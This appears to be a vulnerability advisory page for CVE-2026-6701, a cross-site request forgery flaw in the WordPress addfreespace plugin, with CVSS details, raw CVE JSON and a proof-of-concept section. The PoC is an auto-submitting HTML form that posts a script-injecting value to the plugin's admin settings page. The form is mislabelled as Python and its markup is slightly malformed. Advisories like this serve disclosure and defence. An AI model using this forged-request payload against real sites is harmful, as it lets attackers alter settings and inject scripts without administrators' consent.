Security Vulnerability Report
中文
CVE-2026-6701 CVSS 4.3 MEDIUM

CVE-2026-6701

Published: 2026-05-05 03:16:01
Last Modified: 2026-05-05 19:09:32

Description

The addfreespace plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.1.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

addfreespace <= 0.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-6701 --> <!-- This HTML page demonstrates the CSRF vulnerability by auto-submitting a form to update plugin settings. --> <html> <body> <!-- The action URL should point to the vulnerable admin page, typically /wp-admin/admin.php or similar --> <form action="http://target-site/wp-admin/admin.php?page=addfreespace_settings" method="POST"> <!-- Input fields correspond to vulnerable settings lacking nonce checks --> <input type="hidden" name="option_name" value="malicious_value"><script>alert('CVE-2026-6701');</script>" /> <input type="hidden" name="action" value="update" /> <input type="submit" value="Submit Request" /> </form> <script> // Automatically submit the form when the victim loads the page document.forms[0].submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6701", "sourceIdentifier": "[email protected]", "published": "2026-05-05T03:16:00.790", "lastModified": "2026-05-05T19:09:32.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The addfreespace plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.1.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/addfreespace/tags/0.1.3/addfreespace.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/tags/0.1.3/addfreespace.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/tags/0.1.3/addfreespace_functions.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/tags/0.1.3/addfreespace_functions.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/tags/0.1.3/addfreespace_functions.php#L83", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/trunk/addfreespace.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/trunk/addfreespace.php#L45", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/trunk/addfreespace_functions.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/trunk/addfreespace_functions.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/addfreespace/trunk/addfreespace_functions.php#L83", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/40eaeb28-c721-4977-951d-582b7dc2bd12?source=cve", "source": "[email protected]"}]}}